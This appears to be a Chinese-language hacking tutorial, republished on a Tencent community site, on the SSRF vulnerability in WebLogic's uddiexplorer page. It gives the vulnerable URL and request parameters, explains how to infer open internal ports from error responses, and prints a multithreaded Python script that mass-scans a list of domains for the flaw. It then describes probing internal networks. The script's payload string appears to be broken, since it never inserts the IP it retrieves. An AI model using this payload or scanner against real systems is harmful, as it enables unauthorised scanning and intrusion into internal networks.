网络黑客技术进阶实例-weblogic漏洞系列-SSRF漏洞

0x01前言

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。具体Weblogic如何搭建的过程,大家可以自行百度,这里不再耗费时间来赘述

0x02检测漏洞

2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

2.2、向服务器提交以下参数

rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

关键点是operator这个参数,访问7001端口时返回一个404的状态码。

2.3、访问一个不存在的端口会返回以下信息。

可以通过返回的信息不同,来判断端口开放的状态。

2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):

状态一、

状态二、

状态三、

状态四、

状态五、

2.5批量检测脚本

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import re

import sys

import Queue

import requests

import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()

mutex = threading.Lock()

class Test(threading.Thread):

"""docstring for Test"""

def __init__(self, queue):

threading.Thread.__init__(self)

self.queue = queue

def check(self,domain,ip):

payload = "uddiexplorer/SearchPublicRegistries.jsp?operator=&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)

url = domain + payload

try:

html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)

if m:

mutex.acquire()

with open('ssrf1.txt','a+') as f:

print "%s has weblogic ssrf." % domain

f.write("%s has weblogic ssrf." % domain)

mutex.release()

except Exception,e:

print e

def get_registry(self,domain):

payload = 'uddiexplorer/SetupUDDIExplorer.jsp'

url = domain + payload

try:

html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('For example: (.*?)/uddi/uddilistener.*?',html)

if m:

return m.group(1)

except Exception,e:

print e

def run(self):

while not self.queue.empty():

domain = self.queue.get()

mutex.acquire()

print domain

mutex.release()

ip = self.get_registry(domain)

self.check(domain,ip)

self.queue.task_done()

if __name__ == '__main__':

with open('domain.txt','r') as f:

lines = f.readlines()

for line in lines:

queue.put(line.strip())

for x in xrange(1,50):

t = Test(queue)

t.setDaemon(True)

t.start()

queue.join()

0x03利用手段

3.1内网端口探测

我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。

实战挖掘中发现这个位置有可能会泄露内网网段。

确定网段之后可以使用脚本来进行快速探测。

SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180813G0MCVD00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券